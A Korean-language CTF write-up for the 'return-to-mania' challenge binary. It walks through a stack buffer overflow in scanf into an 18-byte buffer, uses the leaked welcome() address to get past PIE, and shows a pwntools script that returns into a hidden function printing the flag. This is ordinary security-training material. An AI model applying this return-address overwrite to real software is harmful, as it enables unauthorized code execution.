1. 다음과 같이 문제가 주어졌다.

```
lhj@lhj-VirtualBox:~/study/ctf$ ./return-to-mania
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x5662d6ed
test
Sadly, as a result Captn Overflow won't be entering the ring yet...
```

- 실행을 해보면... 시작 주소를 알려주고 문자열을 입력받는 것으로 보인다.

```
lhj@lhj-VirtualBox:~/study/ctf$ checksec -f return-to-mania
RELRO           STACK CANARY      NX            PIE             RPATH
No RELRO        No canary found   NX enabled    PIE enabled     No RPATH
```

- NX 는 걸려있지만, 카나리가 없어서 취약점이 존재하다면 버퍼 오버플로우 공격은 가능할 것으로 보인다.

2. 문제를 자세히 살펴보자.

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  welcome();
  puts("Sadly, as a result Captn Overflow won't be entering the ring yet...");
  return 0;
}
```

- Main 함수를 보면 welcome 함수로 들어가고 별다른 역할은 안하는 걸로 보인다.

```
int welcome()
{
  char v1; // [sp+6h] [bp-12h]@1

  puts("Welcome to WrestleMania! Type in key to get access.");
  printf("addr of welcome(): %p\n", welcome);
  return __isoc99_scanf("%s", &v1);
}
```

- v1 을 scanf 로 입력받는데, 별다른 검증하는 루틴이 없으므로 여기서 bof 공격이 가능할 것 같다.

```
   0x56555709 <welcome+28>    call   puts@plt <0x565554d0>

   0x5655570e <welcome+33>    add    esp, 0x10
pwndbg>
   0x56555711 <welcome+36>    sub    esp, 8
   0x56555714 <welcome+39>    lea    eax, [ebx - 0x145f]
   0x5655571a <welcome+45>    push   eax
   0x5655571b <welcome+46>    lea    eax, [ebx - 0x12e8]
   0x56555721 <welcome+52>    push   eax
   0x56555722 <welcome+53>    call   printf@plt <0x56555490>

   0x56555727 <welcome+58>    add    esp, 0x10
   0x5655572a <welcome+61>    sub    esp, 8
   0x5655572d <welcome+64>    lea    eax, [ebp - 0x12]
   0x56555730 <welcome+67>    push   eax
   0x56555731 <welcome+68>    lea    eax, [ebx - 0x12d1]
pwndbg>
   0x56555737 <welcome+74>    push   eax
   0x56555738 <welcome+75>    call   __isoc99_scanf@plt <0x56555500>
```

- [ebp - 0x12]을 보아, buf[18] + SFP[4] + ret[4] 를 통해서 쓰레기값 22 개와 뒤에 return 값에 점프할 함수 주소를 넣으면 공격이 정상적으로 먹힐 것으로 보인다.
- 어떤 함수를 점프를 해야 공격이 먹힐지 찾아봐야 될 것 같다.

```
0x565555b0  register_tm_clones
0x56555600  __do_global_dtors_aux
0x56555650  frame_dummy
0x56555659  __x86.get_pc_thunk.dx
0x5655565d  mania
0x565556ed  welcome
0x56555746  main
0x56555790  __libc_csu_init
0x565557f0  __libc_csu_fini
```

- main 함수에서 보이지 않는 mania 함수가 보인다 확인해보자.

```
void mania()
{
  char s; // [sp+4h] [bp-34h]@3
  FILE *stream; // [sp+2Ch] [bp-Ch]@1

  puts("WELCOME TO THE RING!");
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    fgets(&s, 40, stream);
    fclose(stream);
    puts(&s);
  }
  else
  {
    perror("flag.txt");
  }
}
```

- mania 함수를 시작 시키면 flag 값을 구할 수 있을 것 같았다.

3. 문제 해결

- buf[18] + SFP[4] + ret[4] 이므로, 'a' * 22 + mania 주소

```
>>> from pwn import *
>>> p = process('/home/lhj/study/ctf/return')
[x] Starting local process '/home/lhj/study/ctf/return'
[+] Starting local process '/home/lhj/study/ctf/return': pid 50
>>> problem = p.recv()
>>> print(problem)
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x5656f6ed

>>> pay = 'a' * 22
>>> welcome = int(problem.splitlines()[1].split()[-1],16)
>>> print(welcome)
1448539885
>>> mania = p32(welcome - 144)
>>> exploit = pay + mania
>>> print(exploit)
aaaaaaaaaaaaaaaaaaaaaa]?VV
>>> p.sendline(exploit)
>>> print(p.recv())
[*] Process '/home/lhj/study/ctf/return' stopped with exit code
WELCOME TO THE RING!
flag success
```

- pwntools 를 사용하여, 문제를 해결할 수 있었다.